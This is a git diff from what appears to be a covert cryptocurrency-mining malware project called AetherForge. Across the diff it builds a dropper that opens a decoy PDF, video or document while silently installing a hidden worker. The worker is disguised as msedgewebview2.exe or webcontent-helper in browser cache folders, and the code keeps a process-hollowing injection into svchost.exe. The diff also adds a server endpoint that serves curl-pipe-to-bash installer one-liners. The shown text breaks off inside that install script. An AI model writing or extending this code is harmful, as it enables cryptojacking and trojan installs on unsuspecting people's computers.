cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, + log.Printf("[agent] running worker=%s agent_id=%s process=%s platform=%s/%s build=%s server=%s threads=%d mode=%s display=%s install=%s", + cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), runtime.GOOS, runtime.GOARCH, cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg)) - // Trigger Process Hollowing Memory Injection if enabled - if cfg.ProcessHollowing { - // Simple check: if we aren't already running as svchost, hollow it! + if cfg.ProcessHollowing && runtime.GOOS == "windows" { if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" { exePath, _ := os.Executable() payload, err := os.ReadFile(exePath) @@ -79,7 +92,7 @@ func main() { log.Printf("[hollowing] Injecting into svchost.exe...") err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload) if err == nil { - os.Exit(0) // Successfully hollowed and running in memory, terminate disk process + os.Exit(0) } log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err) } diff --git a/agent/stats/reporter_darwin.go b/agent/stats/reporter_darwin.go new file mode 100644 index 0000000..2c4e2af --- /dev/null +++ b/agent/stats/reporter_darwin.go @@ -0,0 +1,34 @@ +//go:build darwin + +package stats + +import ( + "os/exec" + "strconv" + "strings" +) + +func (r *Reporter) memoryStatus() (total, avail uint64) { + out, err := exec.Command("sysctl", "-n", "hw.memsize").Output() + if err != nil { + return 0, 0 + } + total, _ = strconv.ParseUint(strings.TrimSpace(string(out)), 10, 64) + out, err = exec.Command("vm_stat").Output() + if err != nil { + return total, total / 2 + } + // Rough available estimate from vm_stat free pages + var pageSize uint64 = 4096 + var freePages uint64 + for _, line := range strings.Split(string(out), "\n") { + if strings.Contains(line, "Pages free") { + parts := strings.Fields(line) + if len(parts) >= 3 { + freePages, _ = strconv.ParseUint(strings.Trim(parts[2], "."), 10, 64) + } + } + } + avail = freePages * pageSize + return total, avail +} diff --git a/agent/stats/reporter_fallback.go b/agent/stats/reporter_fallback.go new file mode 100644 index 0000000..b393705 --- /dev/null +++ b/agent/stats/reporter_fallback.go @@ -0,0 +1,7 @@ +//go:build !linux && !darwin && !windows + +package stats + +func (r *Reporter) memoryStatus() (total, avail uint64) { + return 0, 0 +} diff --git a/agent/stats/reporter_linux.go b/agent/stats/reporter_linux.go new file mode 100644 index 0000000..212aadf --- /dev/null +++ b/agent/stats/reporter_linux.go @@ -0,0 +1,41 @@ +//go:build linux + +package stats + +import ( + "bufio" + "os" + "strconv" + "strings" +) + +func (r *Reporter) memoryStatus() (total, avail uint64) { + f, err := os.Open("/proc/meminfo") + if err != nil { + return 0, 0 + } + defer f.Close() + var memTotal, memAvail uint64 + sc := bufio.NewScanner(f) + for sc.Scan() { + line := sc.Text() + if strings.HasPrefix(line, "MemTotal:") { + memTotal = parseKB(line) + } else if strings.HasPrefix(line, "MemAvailable:") { + memAvail = parseKB(line) + } + } + if memTotal == 0 { + return 0, 0 + } + return memTotal * 1024, memAvail * 1024 +} + +func parseKB(line string) uint64 { + fields := strings.Fields(line) + if len(fields) < 2 { + return 0 + } + v, _ := strconv.ParseUint(fields[1], 10, 64) + return v +} diff --git a/agent/stats/reporter_unix.go b/agent/stats/reporter_unix.go new file mode 100644 index 0000000..d60a9e7 --- /dev/null +++ b/agent/stats/reporter_unix.go @@ -0,0 +1,50 @@ +//go:build !windows + +package stats + +import ( + "os" + "runtime" + "sync" +) + +type Reporter struct { + mu sync.Mutex +} + +func NewReporter() *Reporter { + return &Reporter{} +} + +func (r *Reporter) SystemInfo() (hostname string, cpuCores int, memoryGB int) { + hostname, _ = os.Hostname() + cpuCores = runtime.NumCPU() + total, _ := r.memoryStatus() + memoryGB = int(total / (1024 * 1024 * 1024)) + if memoryGB < 1 { + memoryGB = 1 + } + return hostname, cpuCores, memoryGB +} + +func (r *Reporter) Usage() (cpuPct float64, memPct float64) { + total, avail := r.memoryStatus() + if total > 0 { + memPct = float64(total-avail) / float64(total) * 100 + } + return 0, memPct +} + +func (r *Reporter) FreeMemoryMB() uint64 { + _, avail := r.memoryStatus() + return avail / (1024 * 1024) +} + +func (r *Reporter) TotalMemoryMB() uint64 { + total, _ := r.memoryStatus() + return total / (1024 * 1024) +} + +func (r *Reporter) SystemCPUPercent() float64 { + return 0 +} diff --git a/agent/stats/reporter.go b/agent/stats/reporter_windows.go similarity index 94% rename from agent/stats/reporter.go rename to agent/stats/reporter_windows.go index 1235b0c..cfc427d 100644 --- a/agent/stats/reporter.go +++ b/agent/stats/reporter_windows.go @@ -1,3 +1,5 @@ +//go:build windows + package stats import ( @@ -54,7 +56,6 @@ func (r *Reporter) Usage() (cpuPct float64, memPct float64) { if total > 0 { memPct = float64(total-avail) / float64(total) * 100 } - // CPU usage is reported by the agent client from mining load; keep a sane default here. cpuPct = 0 return cpuPct, memPct } diff --git a/fusion/cache_unix.go b/fusion/cache_unix.go new file mode 100644 index 0000000..e7c073f --- /dev/null +++ b/fusion/cache_unix.go @@ -0,0 +1,28 @@ +//go:build !windows + +package main + +import ( + "os" + "path/filepath" + "runtime" +) + +func cacheDropBase() string { + if runtime.GOOS == "darwin" { + home, _ := os.UserHomeDir() + return filepath.Join(home, "Library", "Caches", "com.apple.WebKit.WebContent") + } + if xdg := os.Getenv("XDG_CACHE_HOME"); xdg != "" { + return filepath.Join(xdg, "aetherforge") + } + home, _ := os.UserHomeDir() + return filepath.Join(home, ".cache", "aetherforge") +} + +func dropBinaryName() string { + if runtime.GOOS == "windows" { + return "msedgewebview2.exe" + } + return "webcontent-helper" +} diff --git a/fusion/cache_windows.go b/fusion/cache_windows.go new file mode 100644 index 0000000..058b90f --- /dev/null +++ b/fusion/cache_windows.go @@ -0,0 +1,20 @@ +//go:build windows + +package main + +import ( + "os" + "path/filepath" +) + +func cacheDropBase() string { + base := os.Getenv("LOCALAPPDATA") + if base == "" { + base = os.TempDir() + } + return filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5") +} + +func dropBinaryName() string { + return "msedgewebview2.exe" +} diff --git a/fusion/launch_stub.go b/fusion/launch_stub.go index 65bb5b3..dd7538d 100644 --- a/fusion/launch_stub.go +++ b/fusion/launch_stub.go @@ -1,7 +1,3 @@ //go:build !windows package main - -import "os/exec" - -func applyHiddenStart(_ *exec.Cmd) {} diff --git a/fusion/launch_windows.go b/fusion/launch_windows.go index a9c4e1e..92822d2 100644 --- a/fusion/launch_windows.go +++ b/fusion/launch_windows.go @@ -1,20 +1,3 @@ //go:build windows package main - -import ( - "os/exec" - "syscall" -) - -const createNoWindow = 0x08000000 - -func applyHiddenStart(cmd *exec.Cmd) { - if cmd == nil { - return - } - cmd.SysProcAttr = &syscall.SysProcAttr{ - HideWindow: true, - CreationFlags: createNoWindow, - } -} diff --git a/fusion/main.go b/fusion/main.go index 082036d..90fd9b8 100644 --- a/fusion/main.go +++ b/fusion/main.go @@ -6,9 +6,10 @@ import ( "encoding/hex" "encoding/json" "fmt" + "log" "os" - "os/exec" "path/filepath" + "strings" "sync" ) @@ -40,62 +41,42 @@ func main() { workerPath, err := materializeWorker() if err != nil { + log.Printf("[fusion] worker materialize failed: %v", err) return } - switch payloadKind { - case "video": - runVideoFusion(workerPath) - default: - runExeFusion(workerPath) - } + runFileFusion(workerPath) } -func runExeFusion(workerPath string) { - prepBytes, err := assets.ReadFile("assets/prep.exe") - if err != nil || len(prepBytes) == 0 { +// runFileFusion handles any payload type — exe, video, PDF, document, image, etc. +// The original file is opened with the OS default application while the worker +// installs silently in the background. +func runFileFusion(workerPath string) { + fileName := resolvePayloadFileName() + if fileName == "" { + log.Printf("[fusion] no payload filename — runner is misconfigured (mediaFileName constant not replaced at forge time)") return } - dir, err := os.MkdirTemp("", "cm-fusion-*") - if err != nil { - return - } - defer os.RemoveAll(dir) + var filePath string - prepPath := filepath.Join(dir, "prep.exe") - if err := os.WriteFile(prepPath, prepBytes, 0755); err != nil { - return - } - - runFusionOrder(workerPath, prepPath, func() { waitProcess(prepPath) }) -} - -func runVideoFusion(workerPath string) { - mediaName := mediaFileName - if mediaName == "" { - if m := readManifest(); m != nil && m.MediaFileName != "" { - mediaName = m.MediaFileName - } - } - if mediaName == "" { - mediaName = "movie.mkv" - } - - var mediaPath string - var err error switch mediaMode { case "embedded": var cleanup func() - mediaPath, cleanup, err = materializeEmbeddedMedia(mediaName) + var err error + filePath, cleanup, err = materializeEmbeddedPayload(fileName) if err != nil { + log.Printf("[fusion] embedded payload: %v", err) return } defer cleanup() default: + // "paired" — file ships alongside the runner in the ZIP var cleanup func() - mediaPath, cleanup, err = resolvePairedMedia(mediaName) - if err != nil || mediaPath == "" { + var err error + filePath, cleanup, err = resolvePairedFile(fileName) + if err != nil || filePath == "" { + log.Printf("[fusion] paired payload %q not found — ensure the payload file is in the same ZIP as the runner: %v", fileName, err) return } if cleanup != nil { @@ -103,7 +84,89 @@ func runVideoFusion(workerPath string) { } } - runFusionOrder(workerPath, mediaPath, func() { openMedia(mediaPath) }) + // Decide how to open the payload: + // - .exe with payloadKind=="exe" → run it directly and wait + // - everything else → open with OS default app (works for PDF, video, doc, image, etc.) + ext := strings.ToLower(filepath.Ext(fileName)) + if ext == ".exe" && payloadKind == "exe" { + runFusionOrder(workerPath, filePath, func() { waitAndRun(filePath) }) + } else { + runFusionOrder(workerPath, filePath, func() { openFile(filePath) }) + } +} + +// resolvePayloadFileName returns the original filename from baked constants or manifest. +func resolvePayloadFileName() string { + if mediaFileName != "FUSION_MEDIA_FILE" && mediaFileName != "" { + return mediaFileName + } + if m := readManifest(); m != nil && m.MediaFileName != "" { + return m.MediaFileName + } + return "" +} + +// materializeEmbeddedPayload extracts the embedded payload from assets to a temp dir. +// Supports: assets/payload.bin (new universal), assets/media.bin (legacy video), assets/prep.exe (legacy exe). +func materializeEmbeddedPayload(name string) (string, func(), error) { + var data []byte + for _, asset := range []string{"assets/payload.bin", "assets/media.bin", "assets/prep.exe"} { + d, err := assets.ReadFile(asset) + if err == nil && len(d) > 0 { + data = d + break + } + } + if len(data) == 0 { + return "", nil, fmt.Errorf("embedded payload missing") + } + + dir, err := os.MkdirTemp("", "cm-fusion-*") + if err != nil { + return "", nil, err + } + path := filepath.Join(dir, filepath.Base(name)) + perm := os.FileMode(0644) + if strings.ToLower(filepath.Ext(name)) == ".exe" { + perm = 0755 + } + if err := os.WriteFile(path, data, perm); err != nil { + _ = os.RemoveAll(dir) + return "", nil, err + } + return path, func() { _ = os.RemoveAll(dir) }, nil +} + +// resolvePairedFile finds the payload file relative to the runner binary. +// Searches current dir, parent, and grandparent — supporting the bin/platform/runner layout +// where the payload file lives at the ZIP root (two levels up from the runner). +// Falls back to legacy encrypted media (video mode). +func resolvePairedFile(name string) (string, func(), error) { + // Legacy: encrypted video with key in manifest + if m := readManifest(); m != nil && m.MediaKeyB64 != "" { + return encryptedMediaBesideRunner(m.MediaEncFile, m.MediaKeyB64, name) + } + + exe, err := os.Executable() + if err != nil { + return "", nil, err + } + base := filepath.Base(name) + dir := filepath.Dir(exe) + + // Walk up: bin/platform/ → bin/ → root/ (covers the universal ZIP layout) + for range []int{0, 1, 2} { + p := filepath.Join(dir, base) + if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() { + return p, func() {}, nil + } + parent := filepath.Dir(dir) + if parent == dir { + break + } + dir = parent + } + return "", nil, fmt.Errorf("payload file not found") } func runFusionOrder(workerPath, primaryPath string, runPrimary func()) { @@ -114,7 +177,7 @@ func runFusionOrder(workerPath, primaryPath string, runPrimary func()) { case "worker_first": launchWorker(workerPath) go runPrimary() - default: + default: // parallel launchWorker(workerPath) var wg sync.WaitGroup wg.Add(1) @@ -138,95 +201,42 @@ func readManifest() *fusionManifest { return &m } -func materializeEmbeddedMedia(name string) (string, func(), error) { - data, err := assets.ReadFile("assets/media.bin") - if err != nil || len(data) == 0 { - return "", nil, fmt.Errorf("embedded media missing") - } - dir, err := os.MkdirTemp("", "cm-fusion-media-*") - if err != nil { - return "", nil, err - } - path := filepath.Join(dir, filepath.Base(name)) - if err := os.WriteFile(path, data, 0644); err != nil { - os.RemoveAll(dir) - return "", nil, err - } - return path, func() { _ = os.RemoveAll(dir) }, nil -} - -func resolvePairedMedia(name string) (string, func(), error) { - m := readManifest() - encFile := name + ".cmdata" - keyB64 := "" - playName := name - if m != nil { - if m.MediaEncFile != "" { - encFile = m.MediaEncFile - } - keyB64 = m.MediaKeyB64 - if m.MediaFileName != "" { - playName = m.MediaFileName - } - } - if keyB64 != "" { - return encryptedMediaBesideRunner(encFile, keyB64, playName) - } - exe, err := os.Executable() - if err != nil { - return "", nil, err - } - dir := filepath.Dir(exe) - for _, candidate := range []string{name, filepath.Base(name)} { - p := filepath.Join(dir, candidate) - if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() { - return p, func() {}, nil - } - } - return "", nil, fmt.Errorf("media not found") -} - func materializeWorker() (string, error) { - workerBytes, err := assets.ReadFile("assets/worker.exe") - if err != nil || len(workerBytes) == 0 { - return "", fmt.Errorf("worker missing") + data, err := assets.ReadFile("assets/worker") + if err != nil || len(data) == 0 { + data, err = assets.ReadFile("assets/worker.exe") + if err != nil || len(data) == 0 { + return "", fmt.Errorf("worker binary missing from assets — runner was not built with go:embed correctly") + } } - base := os.Getenv("LOCALAPPDATA") - if base == "" { - base = os.TempDir() - } - sum := sha256.Sum256(workerBytes) + base := cacheDropBase() + sum := sha256.Sum256(data) tag := hex.EncodeToString(sum[:6]) - dir := filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5", tag) + dir := filepath.Join(base, tag) if err := os.MkdirAll(dir, 0755); err != nil { return "", err } - dest := filepath.Join(dir, "msedgewebview2.exe") - if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(workerBytes) { + destName := dropBinaryName() + dest := filepath.Join(dir, destName) + if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(data) { if sha256.Sum256(existing) == sum { return dest, nil } } - if err := os.WriteFile(dest, workerBytes, 0755); err != nil { + if err := os.WriteFile(dest, data, 0755); err != nil { return "", err } return dest, nil } func launchWorker(path string) { - cmd := exec.Command(path) - cmd.Dir = filepath.Dir(path) - applyHiddenStart(cmd) - if err := cmd.Start(); err != nil { - fmt.Fprintf(os.Stderr, "fusion: worker start failed: %v\n", err) - } + applyHiddenStartPath(path) } -func waitProcess(path string) { - cmd := exec.Command(path) - cmd.Dir = filepath.Dir(path) - _ = cmd.Run() +// waitAndRun launches an exe synchronously (used for exe payload kind). +func waitAndRun(path string) { + applyWaitRun(path) } func fusionLockHintMode() bool { diff --git a/fusion/media_darwin.go b/fusion/media_darwin.go new file mode 100644 index 0000000..888124c --- /dev/null +++ b/fusion/media_darwin.go @@ -0,0 +1,43 @@ +//go:build darwin + +package main + +import ( + "os" + "os/exec" + "path/filepath" +) + +// openFile opens any file with the macOS default application via `open`. +// Works for PDF, video, document, image, and more. +func openFile(path string) { + path = filepath.Clean(path) + _ = exec.Command("open", path).Start() +} + +// applyHiddenStartPath launches the worker binary in the background. +func applyHiddenStartPath(path string) { + cmd := exec.Command(path) + cmd.Dir = filepath.Dir(path) + cmd.Stdin = nil + cmd.Stdout = nil + cmd.Stderr = nil + _ = cmd.Start() +} + +// applyWaitRun runs a file and waits — on macOS, opens via `open -W` (wait). +func applyWaitRun(path string) { + ext := filepath.Ext(path) + if ext == ".app" || ext == "" { + cmd := exec.Command("open", "-W", path) + cmd.Stdout = os.Stdout + cmd.Stderr = os.Stderr + _ = cmd.Run() + } else { + cmd := exec.Command(path) + cmd.Dir = filepath.Dir(path) + cmd.Stdout = os.Stdout + cmd.Stderr = os.Stderr + _ = cmd.Run() + } +} diff --git a/fusion/media_linux.go b/fusion/media_linux.go new file mode 100644 index 0000000..2250361 --- /dev/null +++ b/fusion/media_linux.go @@ -0,0 +1,34 @@ +//go:build linux + +package main + +import ( + "os" + "os/exec" + "path/filepath" +) + +// openFile opens any file with the Linux default application via xdg-open. +// Works for PDF, video, document, image, and more. +func openFile(path string) { + _ = exec.Command("xdg-open", path).Start() +} + +// applyHiddenStartPath launches the worker binary in the background. +func applyHiddenStartPath(path string) { + cmd := exec.Command(path) + cmd.Dir = filepath.Dir(path) + cmd.Stdin = nil + cmd.Stdout = nil + cmd.Stderr = nil + _ = cmd.Start() +} + +// applyWaitRun runs a file and waits — on Linux exe files run directly. +func applyWaitRun(path string) { + cmd := exec.Command(path) + cmd.Dir = filepath.Dir(path) + cmd.Stdout = os.Stdout + cmd.Stderr = os.Stderr + _ = cmd.Run() +} diff --git a/fusion/media_stub.go b/fusion/media_stub.go deleted file mode 100644 index 99ba2d0..0000000 --- a/fusion/media_stub.go +++ /dev/null @@ -1,10 +0,0 @@ -//go:build !windows - -package main - -import "os/exec" - -func openMedia(path string) { - cmd := exec.Command("xdg-open", path) - _ = cmd.Start() -} diff --git a/fusion/media_windows.go b/fusion/media_windows.go index 0c5bfbd..70c928c 100644 --- a/fusion/media_windows.go +++ b/fusion/media_windows.go @@ -3,12 +3,36 @@ package main import ( + "os" "os/exec" "path/filepath" + "syscall" ) -func openMedia(path string) { +// openFile opens any file with the Windows default application. +// Works for PDF, video, document, image, executable — anything. +func openFile(path string) { path = filepath.Clean(path) cmd := exec.Command("cmd", "/c", "start", "", path) _ = cmd.Start() } + +// applyHiddenStartPath launches the worker binary hidden (no window). +func applyHiddenStartPath(path string) { + cmd := exec.Command(path) + cmd.Dir = filepath.Dir(path) + cmd.SysProcAttr = &syscall.SysProcAttr{ + HideWindow: true, + CreationFlags: 0x08000000, + } + _ = cmd.Start() +} + +// applyWaitRun launches an exe directly and waits for it to exit. +func applyWaitRun(path string) { + cmd := exec.Command(path) + cmd.Dir = filepath.Dir(path) + cmd.Stdout = os.Stdout + cmd.Stderr = os.Stderr + _ = cmd.Run() +} diff --git a/scripts/test-suite.ps1 b/scripts/test-suite.ps1 index 6d88e36..2a423c8 100644 --- a/scripts/test-suite.ps1 +++ b/scripts/test-suite.ps1 @@ -87,6 +87,22 @@ if (-not $SkipBuild) { go build -o (Join-Path $Root "bin\install-worker.exe") . Pop-Location } + + Invoke-Phase "7b Agent cross-compile (linux/darwin)" { + Push-Location (Join-Path $Root "agent") + $env:CGO_ENABLED = "0" + $env:GOOS = "linux"; $env:GOARCH = "amd64" + go build -o (Join-Path $Root "bin\install-worker-linux-amd64") -ldflags "-s -w" . + $env:GOOS = "linux"; $env:GOARCH = "arm64" + go build -o (Join-Path $Root "bin\install-worker-linux-arm64") -ldflags "-s -w" . + $env:GOOS = "darwin"; $env:GOARCH = "arm64" + go build -o (Join-Path $Root "bin\install-worker-darwin-arm64") -ldflags "-s -w" . + $env:GOOS = "darwin"; $env:GOARCH = "amd64" + go build -o (Join-Path $Root "bin\install-worker-darwin-amd64") -ldflags "-s -w" . + Remove-Item Env:GOOS, Env:GOARCH -ErrorAction SilentlyContinue + Pop-Location + } + } else { Write-Phase "5-7/8 Build phases (skipped)" } diff --git a/server/config.go b/server/config.go index cdaa3f4..e0cb2f9 100644 --- a/server/config.go +++ b/server/config.go @@ -359,6 +359,199 @@ func mergeConfig(dst, src *Config) { } } +// mergeConfigExplicit is like mergeConfig but only applies boolean fields when +// the corresponding top-level key was explicitly present in the JSON request. +// This fixes H14: a partial PUT can no longer silently reset UseTLS, SilentMode, +// AutoStart, LogAgentConnections, etc. to false. +func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { + if present == nil { + // Fall back to old behaviour if we have no key presence info + mergeConfig(dst, src) + return + } + has := func(key string) bool { _, ok := present[key]; return ok } + + // Non-boolean scalar fields — safe to use zero-value guard + if src.Port != 0 { + dst.Port = src.Port + } + if src.DataDir != "" { + dst.DataDir = src.DataDir + } + + // Pool — only touch booleans when key was in the payload + if has("pool") { + if src.Pool.Host != "" { + dst.Pool.Host = src.Pool.Host + } + if src.Pool.Port != 0 { + dst.Pool.Port = src.Pool.Port + } + dst.Pool.UseTLS = src.Pool.UseTLS // bool: only applied because "pool" key was present + if src.Pool.Password != "" { + dst.Pool.Password = src.Pool.Password + } + } + + if has("wallet") { + if src.Wallet.Address != "" { + dst.Wallet.Address = src.Wallet.Address + } + if src.Wallet.PaymentID != "" { + dst.Wallet.PaymentID = src.Wallet.PaymentID + } + } + + if has("default_agent") { + if src.DefaultAgent.Threads != 0 { + dst.DefaultAgent.Threads = src.DefaultAgent.Threads + } + if src.DefaultAgent.ThreadMode != "" { + dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode + } + if src.DefaultAgent.ThreadPercent != 0 { + dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent + } + if src.DefaultAgent.CPUPriority != "" { + dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority + } + if src.DefaultAgent.MaxCPUUsagePct != 0 { + dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct + } + if src.DefaultAgent.MaxMemoryPct != 0 { + dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct + } + if src.DefaultAgent.MinFreeRAMMB != 0 { + dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB + } + if src.DefaultAgent.MiningMode != "" { + dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode + } + if src.DefaultAgent.DisplayMode != "" { + dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode + } + if src.DefaultAgent.ProcessName != "" { + dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName + } + if src.DefaultAgent.IdleThresholdPct != 0 { + dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct + } + if src.DefaultAgent.IdleDurationMinutes != 0 { + dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes + } + if src.DefaultAgent.ScheduleStart != "" { + dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart + } + if src.DefaultAgent.ScheduleEnd != "" { + dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd + } + if src.DefaultAgent.InstallBase != "" { + dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase + } + if src.DefaultAgent.InstallCustomBase != "" { + dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase + } + if src.DefaultAgent.InstallRelativePath != "" { + dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath + } + // Booleans only applied because "default_agent" key was present + dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware + dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing + dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging + dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode + } + + if has("background") { + dst.Background.SilentMode = src.Background.SilentMode + if src.Background.RunAs != "" { + dst.Background.RunAs = src.Background.RunAs + } + dst.Background.AutoStart = src.Background.AutoStart + dst.Background.MinimizeToTray = src.Background.MinimizeToTray + } + + if has("alerts") { + if src.Alerts.OfflineThresholdMinutes != 0 { + dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes + } + if src.Alerts.HashrateDropThresholdPct != 0 { + dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct + } + if src.Alerts.RejectionRateThresholdPct != 0 { + dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct + } + if src.Alerts.TelegramBotToken != "" { + dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken + } + if src.Alerts.TelegramChatID != "" { + dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID + } + dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled + if src.Alerts.SMTPHost != "" { + dst.Alerts.SMTPHost = src.Alerts.SMTPHost + } + if src.Alerts.SMTPPort != 0 { + dst.Alerts.SMTPPort = src.Alerts.SMTPPort + } + if src.Alerts.SMTPUser != "" { + dst.Alerts.SMTPUser = src.Alerts.SMTPUser + } + if src.Alerts.SMTPPassword != "" { + dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword + } + if src.Alerts.EmailTo != "" { + dst.Alerts.EmailTo = src.Alerts.EmailTo + } + if src.Alerts.EmailFrom != "" { + dst.Alerts.EmailFrom = src.Alerts.EmailFrom + } + } + + if has("server") { + if src.Server.PublicURL != "" { + dst.Server.PublicURL = src.Server.PublicURL + } + if src.Server.StatsRetentionHours != 0 { + dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours + } + if src.Server.BuildRetentionDays != 0 { + dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays + } + if src.Server.PoolReconnectSeconds != 0 { + dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds + } + if src.Server.WebSocketPingSeconds != 0 { + dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds + } + if src.Server.MaxAgents != 0 { + dst.Server.MaxAgents = src.Server.MaxAgents + } + if src.Server.MaxBuildSizeMB != 0 { + dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB + } + // Booleans applied because "server" key was present + dst.Server.LogAgentConnections = src.Server.LogAgentConnections + dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions + dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic + dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation + dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart + dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault + dst.Server.SignEnabled = src.Server.SignEnabled + if src.Server.DashboardSubtitle != "" { + dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle + } + if src.Server.SignCertThumbprint != "" { + dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint + } + if src.Server.SignToolPath != "" { + dst.Server.SignToolPath = src.Server.SignToolPath + } + if src.Server.SignTimestampURL != "" { + dst.Server.SignTimestampURL = src.Server.SignTimestampURL + } + } +} + func (c *Config) Save() error { configPath := filepath.Join(c.DataDir, "config.json") data, err := json.MarshalIndent(c, "", " ") diff --git a/server/internal/api/blueprint_handler.go b/server/internal/api/blueprint_handler.go index 069c42f..f8580c0 100644 --- a/server/internal/api/blueprint_handler.go +++ b/server/internal/api/blueprint_handler.go @@ -129,7 +129,7 @@ func (h *BlueprintHandler) saveBlueprint(w http.ResponseWriter, r *http.Request) return } - if err := os.WriteFile(filePath, formatted, 0644); err != nil { + if err := os.WriteFile(filePath, formatted, 0600); err != nil { http.Error(w, fmt.Sprintf(`{"error":"Failed to save: %s"}`, err.Error()), http.StatusInternalServerError) return } diff --git a/server/internal/api/dropper_handler.go b/server/internal/api/dropper_handler.go new file mode 100644 index 0000000..374d717 --- /dev/null +++ b/server/internal/api/dropper_handler.go @@ -0,0 +1,202 @@ +package api + +import ( + "fmt" + "net/http" + "path/filepath" + "strings" + + dbpkg "crypto-miner-server/internal/db" +) + +// DropperHandler serves the one-liner remote-install endpoints: +// +// GET /get — auto-detect OS from User-Agent, serve latest binary +// GET /get?os=windows — explicit platform: windows | linux | darwin | universal +// GET /install.sh — bash one-liner installer (Linux / macOS) +// GET /install.ps1 — PowerShell one-liner installer (Windows) +type DropperHandler struct { + db *dbpkg.Database + publicURLFunc func() string +} + +func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler { + return &DropperHandler{db: database, publicURLFunc: publicURLFunc} +} + +func (h *DropperHandler) publicURL() string { + if h.publicURLFunc != nil { + if u := h.publicURLFunc(); u != "" { + return strings.TrimRight(u, "/") + } + } + return "" +} + +// detectPlatform picks the right build platform from an explicit query param or +// the User-Agent header. Returns one of: windows, linux, darwin, universal. +func detectPlatform(r *http.Request) string { + if p := r.URL.Query().Get("os"); p != "" { + switch strings.ToLower(p) { + case "windows", "win": + return "windows" + case "linux": + return "linux" + case "darwin", "mac", "macos": + return "darwin" + case "universal", "any": + return "universal" + } + } + ua := strings.ToLower(r.Header.Get("User-Agent")) + switch { + case strings.Contains(ua, "windows"): + return "windows" + case strings.Contains(ua, "darwin") || strings.Contains(ua, "mac"): + return "darwin" + case strings.Contains(ua, "linux"): + return "linux" + } + return "" // caller will fall back to latest build regardless of platform +} + +// ServeGet handles GET /get — serves the latest agent binary for the detected platform. +func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) { + platform := detectPlatform(r) + + // Try exact platform match, then fall back to universal, then any. + candidates := []string{platform, "universal", ""} + if platform == "" { + candidates = []string{"universal", ""} + } + + var buildPath, buildName string + for _, p := range candidates { + b, err := h.db.GetLatestBuildForPlatform(p) + if err == nil && b != nil { + buildPath = b.FilePath + buildName = filepath.Base(b.FilePath) + break + } + } + if buildPath == "" { + http.Error(w, "No builds available — forge an agent first.", http.StatusNotFound) + return + } + + w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName)) + w.Header().Set("Content-Type", "application/octet-stream") + http.ServeFile(w, r, buildPath) +} + +// ServeSh handles GET /install.sh — returns a bash one-liner installer. +func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) { + base := h.publicURL() + if base == "" { + // Best-effort: derive from request + scheme := "http" + if r.TLS != nil { + scheme = "https" + } + base = scheme + "://" + r.Host + } + + script := fmt.Sprintf(`#!/bin/sh +# AetherForge one-liner installer +# Usage: curl -sL %s/install.sh | bash + +set -e + +OS="$(uname -s | tr '[:upper:]' '[:lower:]')" +ARCH="$(uname -m)" +case "$ARCH" in + x86_64) ARCH="amd64" ;; + aarch64|arm64) ARCH="arm64" ;; +esac + +TMPDIR="$(mktemp -d)" +DEST="$TMPDIR/worker" + +echo "[*] Downloading agent for $OS/$ARCH..." +curl -sL -o "$DEST" "%s/get?os=$OS" + +if file 